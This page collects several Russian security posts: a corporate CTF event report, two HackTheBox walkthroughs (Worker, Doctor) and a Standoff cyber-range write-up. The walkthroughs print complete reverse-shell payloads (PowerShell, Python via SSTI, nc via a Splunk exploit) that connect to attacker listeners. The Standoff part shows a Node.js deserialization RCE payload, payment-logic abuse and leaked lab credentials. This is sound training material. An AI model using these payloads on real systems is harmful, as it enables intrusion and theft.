Capture The Flag (CTF) это игра, в которой участники соревнуются, чтобы захватить флаг противников и защитить свой. Наверняка многие играли или слышали про такой режим в некогда популярных командных шутерах Quake и Team Fortress. В какойто момент эта идея пришла в мир информационной безопасности.

CTF в мире ИБ это важный пункт в категории обучение и используется для прокачки навыков поиска и эксплуатации уязвимостей. Как правило, у компаний есть свои команды, выступающие как на мировых соревнованиях, так и на локальных: например, перед крупными конференциями, такими как Positive Hack Days, ZeroNights и OFFZONE обязательно проводятся CTFсоревнования.

CTF может проходить в двух форматах.
Первый Attack-defense, где часть команд это защитники, часть команд атакующие.
Команды защитников получают свой набор серверов или сегмент сети, который нужно защищать от нападающей стороны. Нападающим, в свою очередь надо атаковать и добывать флаги.
Второй Task-based, где участник/команды просто решают задачи.

В нашем случае формат CTF был Taskbased, при котором командам необходимо решить задачи в разных категориях, например Web, Infrastructure, Development, Crypto и другие.

Какие цели мы преследовали и где тут SDL

Security development lifecycle (SDL) это набор различных практик безопасности на всех этапах жизненного цикла продукта. Эта методология существует уже довольно давно, изначально её анонсировала компания Microsoft, после чего методология получила широкое распространение. Узнать детали вы можете почитать на сайте Microsoft и на Хабре.

Современный подход и постоянное выполнение практик SDL позволяет снизить вероятность возникновения уязвимостей и попадания их в прод, сформировать процессы ИБ, ускоряющие исправление уязвимостей и выработать культуру безопасной разработки. Всё это позволяет сделать продукт более защищенным.

Одной из практик SDL принято считать Security Awareness для сотрудников, в том числе обучение разработчиков аспектам информационной безопасности.

CTF позволяет участникам понять, как действуют атакующие, полноценно примерить на себя роль плохих ребят и научиться обнаруживать и эксплуатировать уязвимости в привычном технологическом стеке. Проведение таких мероприятий повышает интерес и уровень знаний сотрудников в вопросах информационной безопасности и дает возможность использовать полученные навыки в повседневной жизни работе.


выдержки из feedback:

Какие задания заставили тебя по-новому взглянуть на свой код?

Мой код идеален!

Cornichon наслышан об уязвимости в pickle десериализации, но вот познакомился на практике

Cloud Eats аккуратнее буду с JWT и заголовками, буду смотреть за правами у сервисных аккаунтов, если буду их использовать

Dumbank рад, что я не dumb и таких ошибок не делаю

Какие из полученных знаний будут полезны тебе в работе?

Cloud Eats (планирование инфраструктуры), Logger (познакомился с protobuf)
Все: смогу быстрее принимать баланс между безопасностью и скоростью разработки, т.к. вижу пути атак

*Cornichon, Cloud Eats, Dumbank, Logger названия заданий


Почему мероприятие совместное?

В обеих компаниях применяются практики SDL и внутренний CTF проводится как минимум раз в год. Сложившаяся практика имеет положительный отклик внутри компаний, появляются CTF команды и растет интерес сотрудников к ИБ, ровно как и налаживается контакт с отделами ИБ. Поэтому мы решили разбавить привычный для команд формат и устроить небольшой нетворкинг с товарищеским матчем!

В том числе, насколько нам известно, это первое мероприятие подобного характера, где участвуют команды двух компаний (не считая Counter-Strike и подобные), если это не так пишите в комментарии :)

Как готовились

На подготовку к каждому CTF мы закладываем две недели работы пары инженеров Application Security. В этот раз задача была более сложная, так как участвовали команды из разных компаний, поэтому приготовить для нас задания и платформу мы пригласили третью сторону сообщество SPbCTF.

Первым этапом мы устроили мозговой штурм между организаторами и сообществом SPbCTF, вспомнили недавние уязвимости и разбили задачи на категории.

Далее, спустя пару недель, получили описание заданий и начали любимый всеми процесс обсуждения правок с заказчиком :)

Как результат, мы получили более 20ти классных задач, покрывающих наш технологический стек. Среди этих задач также были задачи, которые будет интересно решать не только разработчикам.

Технологический стек заданий

Чтобы участие в соревнованиях принесло новые знания сотрудникам, мы, конечно же, опирались на технологический стек обеих компаний, благо он во многом пересекается.

Как готовить неправильных хакеров :)Как готовить неправильных хакеров :)

Мы сделали упор на уязвимости в ходе разработки на языках программирования Golang, Python и Nodejs, а команды имели доступ к исходному коду некоторых заданий.

Также мы не забыли про недостатки конфигурации облачных сервисов и типовых настроек apache & nginx, приводящие к серьезным последствиям.
Другими словами, ключевики, которые мы использовали при планировании задач:

Как и прочие CTF соревнования, наше не обошлось без других, не менее интересных задач в области криптографии, обратной разработки (reverse) и недостатков процессов оплаты, использующих 3DS.

Что мы получили

Соревнования длились с вечера пятницы до конца дня воскресенья. За это время зарегистрировались 40 команд, из которых 32 сдали хотя бы один флаг.
12 команд набрали более 3000 баллов, необходимых для получения призов, а две смогли решить все задания!
Здесь можно посмотреть разброс очков, набранных командами:

Scoreboard Scoreboard

В ходе соревнования CTF команды сдавали флаги каждый час! Это значит, что участники делили задачи внутри команды и эффективно использовали ночное время достойно уважения.

 Количество попыток сдать флаг за время соревнований Количество попыток сдать флаг за время соревнований

Стоит также отметить, что первые два флага разных задач были сданы ровно в одну секунду: через три минуты и тридцать пять секунд после начала соревнования двумя участниками одной команды:

18 Dec 2020 18:03:35

108:team08/AlexandrosDaSilva

covidinc3

18 Dec 2020 18:03:35

108:team08/darkstar_spb

lords1

Последний успешный флаг был сдан всего за семь минут до конца соревнований!

Мы решили использовать анонимизированную версию рейтинговой таблицы. Такое решение связано с нашим желанием снять страх неудачи. Мы искренне верим, что наше мероприятие преследует в первую очередь задачи обучения и может дать достаточно пользы разработчику, не занявшему призовых мест, но открывшему для себя много новых аспектов безопасной разработки.

Мы используем динамическую систему баллов это значит, что баллы за задание пропорционально снижаются к количеству команд, решивших задание. Как видно, две команды решили все задания и набрали одинаковое количество баллов в таком случае победа у той, которая сделала это первой.

Одна из команд была быстрееОдна из команд была быстрее

География участников получилась не менее занимательная Санкт-Петербург, Москва, Нижний Новгород, Воронеж, Прага, Лимассол и другие.

Где ошиблись и какие уроки вынесли

Мы учитывали опыт предыдущих соревнований, и в целом это помогло избежать серьезных проблем. Тем не менее, стоит отметить следующие моменты:

  • пандемия и отсутствие возможности быстро коммуницировать с коллегами вживую

  • близость к новому году и множество связанных с этим семейных дел сильно ограничило свободное время для участия некоторых сотрудников

  • проблемы с логистикой в предновогодние дни

В дальнейшем мы планируем учесть этот опыт и использовать его при планировании следующих событий, а также ожидаем большее количество специалистов на подобных мероприятиях :)

Призы

  • 1 место годовая подписка на HackTheBox (каждому участнику команды)

  • 2 место годовая подписка на PentesterLab (каждому участнику команды)

  • 3 место годовая подписка на TryHackMe (каждому участнику команды)

В этот раз мы решили попробовать уйти от материальных призов и мотивировать коллег сражаться на общеизвестных полях боев :)

Несмотря на необычность призы победителям понравились, хотя нашлись и те, кто не отказался бы и от чего-то материального. Мы обязательно учтем это в менее COVIDные времена. Приятным сюрпризом для нас стало то, что некоторые коллеги после соревнований сами решили приобрести себе подписку на Hack The Box и продолжить улучшать свои навыки!

Интересные задания

Одним из самых интересных заданий было Cloud Eats, где участником предлагалось найти уязвимости в реализации приложения в облачной платформе Google Cloud.

Задача была разбита на 4 этапа:

  • найти в приложении на Golang стандартную отладочную ручку /debug/pprof/

  • вытащить чувствительную информацию из дампа памяти кучи

  • используя GCPтокен из дампа получить информацию об аккаунте разработчика

  • обойти Google Identity Application Proxy

  • получить доступ к административной части веб приложения

  • прочитать файлы из бакета

  • достучаться до сервера во внутренней инфраструктуре и внимательно посмотреть на его сертификат :)

Мы не сможем рассказать более подробно и красочно, чем наш коллега Дима Богер, его writeup можно найти здесь.
Стоит отметить задание про депикселизацию на основе недавних новостей.
Участникам необходимо было получить флаг из этой картинки:

http://personeltest.ru/aways/ibb.co/NVwtxQ2https://ibb.co/NVwtxQ2

С помощью https://github.com/beurtschipper/Depix/ вы можете попробовать решить это задание, однако имейте в виду, что для решения задачи только этого репозитория не достаточно.

Смешные моменты

Во время соревнования мы отметили несколько забавных моментов в действиях команд.
Ктото настойчиво требовал флаг по почте:

Другие пытались подобрать пароль от аккаунтов организаторов:

Или пытались добыть флаги, общаясь с живыми разработчиками вместо бота, которого нужно было взломать:

Выводы

В ходе соревнований мы собрали CTFкоманды обеих компаний в один товарищеский матч. Более 100 коллег приняли участие в соревнованиях, и мы уверены, что каждый узнал чтото новое и получил представление как о характере задач, так и о формате мероприятия. Такая кооперация имеет преимущество это возможность распределить нагрузку в организации мероприятия между ИБотделами разных компаний.

Стоит упомянуть повышение мотивации и спортивный азарт, возникающие в таком взаимодействии. Желание сделать родную компанию как можно выше в рейтинге заметно сказывается на вовлечённости.

Качество таких мероприятий мы будем оценивать уже согласно внутренним метрикам, однако замечено, что мероприятие уже принесло свои плоды коллеги закрепили свои знания на практике и теперь стали проявлять подлинный интерес к вопросам ИБ!

Подробнее..

HackTheBox. Прохождение Worker. Работаем с SVN. Используем Azure DevOps для захвата хоста

30.01.2021 18:12:04 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.

10.10.10.192worker.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

И нам доступны веб сервер и служба SVN. Веб нам пока ничего предложить не может.

Давайте обратимся к службе svn. Subversion- это свободная централизованная система управления версиями. Давайте полцчим базовую информацию.

svn info svn://worker.htb

И мы знаем базовую ветку, автора ичто мы можем узнать последние пять изменений.

Entry Point

Посмотрим список файлов в данной ветке.

svn list svn://worker.htb

Имеем директорию и файл. Скачиваем все к себе на хост.

svn export svn://worker.htb/dimension.worker.htb/
svn export svn://worker.htb/moved.txt

И из последнего файла узнаем новый поддомен.

Добавим его в /etc/hosts.

10.10.10.203devops.worker.htb

Но там нас встречает HTTP аутентификация. Давайте посмотрим последние изменения. На втором шаге мы находим интересный файл, не встречавшийся ранее.

svn checkout -r 1 svn://worker.htb
svn checkout -r 2 svn://worker.htb

Применим изменения, чтобы получить данный файл.

svn up -r 2 deploy.ps1

И в данном powershell скрипте обнаружим учетные данные.

Снайденными учетными данными получается аутентифицироваться на сайте.

USER

Обратимвнимание на репозиторий и то, что он содержит код.

Используем название репозитория как субдомен, занеся его в /etc/hosts.

10.10.10.203spectral.worker.htb

И нас встречает сайт.

Это вектор RCE. Давайте внесем изменения, добавив на сервере ASPX шелл. Создадимновую ветку, добавим файл, добавим задачу, и сделаем ветку основной.

И после применения всех изменений, обратимся к нашему файлу.

Давайте получим полноценный шелл. Для этого запустим листенер и выполним Powershell бэкконнект.

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.115',4321);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()

И получаем шелл.

Немного осмотревшись, находим директории с конфигурациями.

И в файле passwd есть много пар логинов и паролей.

А по открытым портам определяем работающую службу WinRM.

Давайте сделаем списки пользователей и паролей.

cat logpass.txt | tr -d ' ' | cut -f 1 -d '=' > user.txtcat logpass.txt | tr -d ' ' | cut -f 2 -d '=' > pass.txt

А темеперь выполним подбор пар учетных данных с помощью CrackMapExec.

cme winrm -u user.txt -p pass.txt --no-bruteforce --continue-on-success worker.htb

И как итог, мы находим учетные данные системного пользователя. Подключаемся и забираем флаг.

ROOT

С этими же учетными данными мы возвращаемся на наш сайт.

Но в этот раз мы можем создать свой проект и выполнить произвольные команды через консоль. Так давайте сделаем это.

В данном файле мы убираем pool и в steps -> script пишем то, что должна выполнить система. К примеру, загрузить и выполнить прежний шелл.

И в окне листенера наблюдаем новое подключение, но теперь шелл с высокими привилегиями.

Подробнее..

Hack The Box. Прохождение Doctor. SSTI to RCE. LPE через Splunkd

06.02.2021 18:22:40 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.

10.10.10.209    doctor.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

И заходя на сайт обнаружим еще одно доменное имя.

Добавим его в /etc/hosts.

10.10.10.209doctors.htb

И на найденном сайте нас уже встречает форма авторизации, это уже интереснее.

Entry Point

Давайте зарегистрируемся.

Просматривая сайт, находим интересную ссылку.

Но там ничего интересного нет.

Посидев с формой отправки сообщений, отмечаем, что главная страница не уязвима к XSS.

Аеще понимаем, что попадает в архив.

Вот только символы не экранированы, а код не выполнился из за наличия <item><title>. Давайте отправим нагрузку, в которой данные теги будут закрываться.

И когда мы перейдем в архив, нас встретит ожидаемое окошко алерта.

Так как есть XSS, давайте проверим шаблонизатор, возможно удастся добиться SSTI. Есть интересная схема определения шаблонизатора.

Проверяем:

</title></item>{{77}}
</title></item>{{7'7'}}
</title></item>{{config.items()}}

И находим уязвимость. Наличие SSTI позволяет нам выполнить свой код, для чего мы будем использовать следующий шаблон:

{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("").read().zfill(417)}}{%endif%}{% endfor %}

Давайте выполним следующий реверс шелл:

import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect(("10.10.14.27",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash", "-i"]);

Запустим листенер. Полная нагрузка будет такой:

</title></item>{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect((\"10.10.14.27\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

USER

Так мы состоим в группе adm, что дает нам право читать логи. Поищем в логах Apache слова pas, secret и т.п.

И мы находим интересную строку, которая является паролем пользователя.

Теперь, когда у нас есть учетные данные, давайте попробуем повысить привилегии, с помощью эксплуатации службы Splunk, работающей на 8089 порте. Будем использовать этот эксплоит (http://personeltest.ru/aways/github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2).

python3 PySplunkWhisperer2_remote.py --lhost 10.10.14.27 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/r.r;mkfifo /tmp/r.r;cat /tmp/r.r|/bin/sh -i 2>&1|nc 10.10.14.27 5432 >/tmp/r.r"'

И получаем бэкконнект на свой листенер.

Подробнее..

Как команда The Codeby выиграла кибербитву на полигоне The Standoff Часть 2

11.02.2021 14:07:02 | Автор: admin

Привет, наш дорогой читатель!

Как обещали, продолжаем наш цикл статей про участие нашей команды The Codeby в кибербитве на полигоне The Standoff. Начало нашего приключения можно почитать здесь. В этот раз вы узнаете технические подробности реализованных бизнес-рисков, уязвимостей в веб-приложениях и некоторые хитрости, которые в какой-то мере помогли нам стать победителями.

Мы уже писали, что разбились на две команды и разделили цели. При этом в каждой команде был инфраструктурщик, вебер, фишер. Несмотря на то, что это дало свои плоды, оглядываясь назад, мы понимаем, что таким образом у нас уменьшилась коллаборация между специалистами одной категории. Например, для вебера со знаниями PHP попадался ресурс на Ruby, и наоборот. Из-за этого в некоторых моментах мы потеряли время, что непростительно в конкурсе, где каждая команда пытается быстрее эксплуатировать уязвимость и закрыть ее. В следующем году возможно стоит сделать разделение именно по специализациям для более быстрого захвата входных точек.

#Риски

В этом блоке я (Леша - @SooLFaa) (Rambler Group) расскажу, как нами были взяты некоторые риски в части WEB и ряд RCE.

В первый день соревнования мы сразу поделились на две команды. Те, кто пробивали внешний периметр и те кто дальше закреплялись внутри доменов (веб и инфраструктура). Я был в первой команде и сразу сконцентрировался только на одной цели - это сервис покупки авиабилетов. Хотя там были уязвимости типа SQL Injection, гадский WAF не оставлял шансов проломиться через них, тогда я стал исследовать логику работы ресурса.

Риск. Покупка бесплатных авиабилетов и билетов на аттракционы.

Для начала разобрался в логике работы процесса покупки билета, по шагам перехватывая каждый запрос в burpsuite от этапа регистрации до этапа оплаты билета.

  1. Забиваем параметры поиска и находим любой рейс.

  1. Заполняем перс. данные на нужный рейс и жмакаем кнопочку Купить.

  2. Перехватываем этот запрос в burp и видим следующее:

4) Сохраняем запрос и идем дальше.

А дальше меня перекидывает на платежный шлюз, но никаким способ купить билет не удавалось. Тогда снова прошелся по всем шагам и нашёл в исходном коде странице закомментированную форму, которая ссылается на скрипт successpayment.php с теми же именами параметров, что и запрос в пункте 3. БИНГО! Вероятно - это скрипт подтверждения оплаты.

5) Изменив в POST запросе целевой скрипт, я вернулся в свой личный кабинет и увидел в нем купленный билет.

Нашему счастью не было предела, мы подумали, что реализовали риск:

Логика простая, если билет стоил 1000 рублей, то, купив его за 0 рублей, мы кратно изменили цену. Но по замыслу организаторов - это оказалось не так. Пока наш капитан ушёл доказывать организаторам нашу правду, тем временем, Мурат (@manfromkz) проломил портал города с помощью уязвимости в заливке файлов. Всё оказалось очень просто. Под видом картинки он загрузил payload для выполнения команд на сервере.

Найти путь до картинки тоже не составило труда. Его было видно прямо в разметке HTML.

В итоге наш бэкдор выглядел так.

Скачали все исходники, залили полноценный бэкдор и ушли с этого сервера. Это оказалось нашей роковой ошибкой, но об этом я расскажу чуть позже. А тем временем, наш капитан вернулся. Оказывается - это была незапланированная уязвимость, но нам её засчитали и обозначили их как новые риски. Примечательно, что почти одновременно со мной делала тоже самое команда Deteact.

Но и это ещё не всё. Оказывается, точно такой же скрипт был и на кассе аттракционов. За дело взялся Олег (@undefi), проделав, всё тоже самое, точно таким же способом мы смогли покупать билеты и там. В итоге +2000 очков в кармане.

Дальше мы разбежались каждый по своим таргетам. Кто - то пытался проломить другие хосты, я продолжил брать риски на авиакассе, Мурат уже стрелял как из пулемета в багбаунти (за что мы его прозвали пулеметчик). Об этом он вам сам расскажет. Но вернемся к нашей кассе

Риск. Сделать недоступным регистрацию на рейс.

Тем же способом, я начал исследовать каждый запрос в функционале регистрации на рейс.

И я задумался, а что будет если из запроса удалить id документа и попытаться зарегистрировать несколько билетов на несуществующее место? Одним выстрелом я делаю сразу и то и то. Изменяем запрос. sit=-11&ticketid=6084&transfer=true&transferid=&regdoc=

Запрос, хоть и выполнился успешно, но регистрация не была пройдена. Когда я снова попытался перехватить запрос, кнопка регистрации просто не реагировала. БИНГО!!! Сломали систему регистрации, но только для одного билета.

Смотрим дальше внимательней, видим, что id билета - это числовой идентификатор.

Burp Intruder - Пришло твоё время!

Таким образом, недоступны стали все билеты для регистрации. Ну и + ещё 1000 очков.

Остался еще один риск - это

Риск. Утечка данных о пассажире со специальным идентификатором 1605157946597718.

Посмотрев исходники города слитые Муратом, обнаружили помимо файла servicelogic.php ещё файл citydump.sql - и тут пришла идея. Если есть такой файл на главном портале, значит на сайте авиакомпании может быть что - то похожее и почти сразу же угадали имя файла aviadump.sql

Изучив дамп базы, мы увидели поле regrole, которому если задать числовое значение 3, означало админскую роль. Ну а дальше всё просто, регистрируем нового пользователя с правами админа.

У нас открывается скрытый функционал. Вбиваем идентификатор..

..Иииииии.ВНИМАНИЕ!!!!

Ничего нету!!! Видимо просто до нас уже кто - то удалил эти данные. Но тем не менее риск нам засчитали.

Пора уже оставить в покое эту бедную кассу и перейти в город. Ведь там нас ждал целый дамп с исходниками, который я и начал ресерчить.

Риск. Удаление информации по штрафам и задолженностями граждан

Изучая исходник, я откопал следующие куски кода

Создание штрафов пользователям:

```

if(isset($_POST['fine']) && $_POST['fine'] == 'create'){//var_dump($_POST);die;$queryArray =['siss', $_POST['doc'], $_POST['type'], $_POST['des'], $_POST['price']];$result = $db->executeQuery('INSERT INTO fine VALUES (null, ?, ?, ?, ?)', $queryArray);if(!$result){if($db->getQueryResult($db->executeQuery('SELECT id FROM fine WHERE id = ?', ['i', $db->getLastInsertId()]))){$_SESSION['message'] = ['Fine on document: ' . $_POST['doc'] . ' was create', 'success'];}}else$_SESSION['message'] = ['Error!', 'danger'];}

Удаление штрафов пользователям:

if(isset($_POST['fine']) && $_POST['fine'] == 'delete'){//var_dump($_POST);die;$db->executeQuery('DELETE FROM fine WHERE id = ?', ['i', $_POST['fine_id']]);}

Думаю, вы уже догадались какой вектор.

Так как к тому времени вся инфраструктура уже дышала наладом и кроме нас там побывало куча человек, я решил протестировать уже найденный вектор.

Запрос на создание штрафа:

POST /server_script/service_logic.php HTTP/1.1Host: 10.126.40.247:8005User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://10.126.40.247:8005/index.php?ipage=user_pageContent-Type: application/x-www-form-urlencodedContent-Length: 53Cookie: sfcsrftoken=up9hE0W7Fb2UFDuuBczPRbO6uZmCRrbiEP0qnPSI9on6c54PPr8P8sLPkouQH7OF; PHPSESSID=h3rd6f8pruoh2c8ilpec6knlg7Connection: closeUpgrade-Insecure-Requests: 1fine=create&doc=222333&type=3&des=TEST&price=-1

В результате создан штраф Test с задолженностью -1

И запрос на удаление штрафа:

POST /server_script/service_logic.php HTTP/1.1Host: 10.126.40.247:8005User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://10.126.40.247:8005/index.php?ipage=user_pageContent-Type: application/x-www-form-urlencodedContent-Length: 53Cookie: sfcsrftoken=up9hE0W7Fb2UFDuuBczPRbO6uZmCRrbiEP0qnPSI9on6c54PPr8P8sLPkouQH7OF; PHPSESSID=h3rd6f8pruoh2c8ilpec6knlg7Connection: closeUpgrade-Insecure-Requests: 1fine=delete&fine_id=<number>

Штрафа не оказалось. Что же оформляем отчет, сдаем риск и получаем ответ от организаторов: НЕ ТАК НАДО БЛО. Риск не засчитан!. Сказать, что я был в шоке, ничего не сказать, ведь штраф удалён. И даже больше, тем же Intruderом я удалил ВСЕ ШТРАФ в системе, тем самым, сыграв в Робин Гуда и освободив мирных граждан от уплаты. Но делать нечего, продолжаем ресерчить исходники.

Организаторы непрозрачно намекнули, что надо было править в базе. И, собственно, я почти сразу нахожу в том же коде connectionString.

$db = new db('172.17.61.218:3306', 'script', ';zxxslfc', 'city');

Разумеется, напрямую с игровой сети база недоступна. Очевидно, надо снова зайти на сервер города и оттуда попытаться дернуть данные. И вот тут-то и начались танцы с бубнами. Уязвимость больше недоступна из-за жесткого WAF, который отрезал просто всё и легитимные запросы, и нелегитимные. Даже авторизоваться стало нельзя. Больше двух часов я потратил на попытки вернуться по пути Мурата, но всё тщетно. Общение с организаторами тоже ничего не дало. Что же, придется выкручиваться иначе, смотрим на сеть города и ищем другие хосты рядом, через которые мы также могли бы попасть в базу. Большинство из них были уже недоступны или закрыты WAFом (защитники тоже не спали всё это время) наши бэкдоры потеряны, но таки улыбнулась нам удача, нашли мы всё-таки хост http://10.126.40.5:3000/.

Объединившись с Муратом, стали исследовать функционал голосования.

В корне веб сервера нашли файл auth.json, который содержал ключи для авторизации.

Само же веб приложение предлагало функционал голосования, ключевый запрос которой был следующий:

POST /api/vote HTTP/1.1HOST: 10.126.40.5:3000Accept: application/json, text/javascript, */*; X-AUTH-Token: <тут длинная base64 строка> X-Requested-With: XMLHttpRequestContent-Type: application/jsonOrigin: http://10.126.40.5:3000Accept-Encoding: gzip, deflateAccept-Language: en-GB,en-US;q=0.9,en;q=0.8{"pollingName":"poll1", choice: "choice1"}

Так же нашли файл на сервере package.json и поняли, что перед нами NodeJS.

Google - наше всё, оказывается в одном из установленных пакетов была уязвимость в десериализации. Подробнее почитать можно тут (https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)

Стало ясно, что Заголовок X-Auth-Token ни что иное как JWT.

Перебором директории находим ключ для генерации JWT в файле key.pem

-----BEGIN RSA PRIVATE KEY-----Proc-Type: 4,ENCRYPTEDDEK-Info: AES-128-CBC,7704733522F767AF89374B5CFF8518F0cR8PRjShevMVpgkUBmqdNiUVpEdqIyE6RlkWpin4QGG7+vw14RLJyBqrEtGXRdR9ySRRUaLhSRSkFyDoxjHtviwhK2DOTP8jlKzUGojAbLCB7RuwQk0JSci4ixMzDEOC/59iRQH4iJbd4..Oqf4XKI9Q4cpOSCiZkdH8uaJttwUS/9JbeZG3cZQme8WKyto0ya96wkk05PtsPluRBzSFhL+rocP+-----END RSA PRIVATE KEY-----

А дальше дело техники.

Генерируем JWT токен с нагрузкой для десериализации:

{  "id": "f59b33b5-6619-45bf-adcc-5331e871f12e",  "allowedToVote": {    "poll1": "_$$ND_FUNC$$_function(){ require('child_process').exec('cat /etc/passwd > /opt/polling-app/pollings/p_testcoder', function(error, stdout, stderr) { console.log(stdout) }); }()",    "poll2": "voted",    "poll3": "voted",    "poll4": "allowed"  }}

В поле X-Auth-Token подставляем наш JWT и выполняем запрос с нагрузкой cat /etc/passwd > /opt/pollingapp/pollings/ptestcoder, которая запишет в файл /opt/polling-app/pollings/ptestcoder содержимое файла /etc/passwd.

Ну и читаем файл через Path Traversal

Сдаем Rce в Баунти и возвращаемся к штрафам. Хоть мы и получили шелл, клиента mysql не было на сервере, gopher тоже, то есть ничего, что бы помогло нам хоть как-то взаимодействовать с базой. Тогда мне пришла идея дернуть прям родными средствами NodeJs данные из базы. Нагрузка получила следующий вид:

require("mysql2").createConnection({host: "172.17.61.218:3306",user: "script",database:"city",password: ";zxxslfc"}).query("SELECT * FROM fine",function(err, results, fields) { console.log(results); });

Как вы думаете, что произошло? Ответ - ошибка: mysql2 module not found. То есть нет ничего, что помогло бы нам хоть как-то получить данные. Так как сервер отрезан от интернета npm install тоже не помог. Потанцевав ещё с бубнами, Увы и Ах, мы так и не смогли добраться до этих штрафов, все доступные ранее RCE в этой сети уже не работали из - за WAF, сам портал уже умер. Хоть и хочется закончить этот риск хэппи ендом, но, к сожалению, он так и остался не взят. Теперь вы поняли про какую роковую ошибку я говорил? Надо было, как только взяли RCE в городе, сразу проресерчить скрипт и выполнить риск со штрафами.

История про ещё одно RCE

Всё время соревнования мы периодически меняли фокус внимания на багбаунти и искали SQL Injection, SSRF, LFI на всех доступных ресурсах, занимались также уязвимостями в банке (uptime которого оставлял желать лучшего). Мурат продолжал отстреливать SQL инъекциями, я положил на стол ещё пару LFI, периодически помогая команде инфраструктуры, Олег крутил RCE в Мантисе. В общем, все были при деле. И так мы наткнулись на интересный таргет.

Система, которая позволяла рисовать календарь

Перехватив запрос, увидели следующее.

Время было 3 часа ночи. Мы с Олегом ковыряли этот сервис, но никакие вектора LFI не поддавались. Тогда мне на ум приходит идея затестить SSRF, подставив url http://свойбелыйip, я получил заветный reverse-connect. SSRF на лицо. Оформили отчет, сдали в баунти. Разумеется, стали пробовать вектора с RCE (RFI), но я всё таки решил пойти поспать свои 5 часов (именно по стольку мы спали каждый день). На утро пришёл Олег и встретил меня радостным известием, что он таки докрутил вектор до RCE. Достаточно было просто положить файл на внешний сервер с содержимым: eval(тутлюбаяunixкоманда) (Ларчик просто открывался)

А мы мудрили со всякими изощренными нагрузками типа <?php shellexec(cmd) ?>

Пример вывода ls

